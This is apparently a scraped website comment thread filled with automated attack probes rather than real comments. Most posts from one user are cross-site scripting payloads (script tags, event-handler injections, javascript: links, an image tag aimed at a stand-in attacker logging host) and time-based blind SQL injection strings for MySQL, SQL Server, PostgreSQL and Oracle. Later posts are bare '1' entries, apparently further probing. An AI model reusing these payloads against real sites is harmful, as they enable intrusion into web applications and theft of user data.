1\u003CScRiPt\0Z6p(9349)\u003C/sCripT\u003E

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1&lt;ScRiPt&gt;0Z6p(9354)&lt;/sCripT&gt;

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

�<img zzz onmouseover=0Z6p(94691) //�>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<input autofocus onfocus=0Z6p(9352)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

<a HrEF=http://xss.bxss.me></a>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

<a HrEF=jaVaScRiPT:>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1}body{zzz:Expre/**/SSion(0Z6p(9634))}

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

11O9q3 <ScRiPt >0Z6p(9997)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<WHKTVK>9TPLV[!+!]</WHKTVK>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<ifRAme sRc=9904.com></IfRamE>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<asQq139 x=9220>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<img sRc='http://attacker-9805/log.php?

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<aVCPnSN<

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

daRMAx0p'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-5 OR 259=(SELECT 259 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-5) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:03 p.m.

-1)) OR 80=(SELECT 80 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

z5lbe3kK' OR 507=(SELECT 507 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

53UuNyFo') OR 447=(SELECT 447 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

VbexjpfI')) OR 429=(SELECT 429 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 3:04 p.m.

@@9AA1b

nEcdyGgx Nov. 3, 2024, 10:07 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:07 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:12 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:12 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:16 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:16 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:53 a.m.

1

nEcdyGgx Nov. 3, 2024, 10:53 a.m.

1

nEcdyGgx Nov. 3, 2024, 7:18 p.m.

1

nEcdyGgx Nov. 3, 2024, 8:24 p.m.

1

nEcdyGgx Nov. 3, 2024, 8:24 p.m.

1

Login Required!

Reset Password
AnonymousUser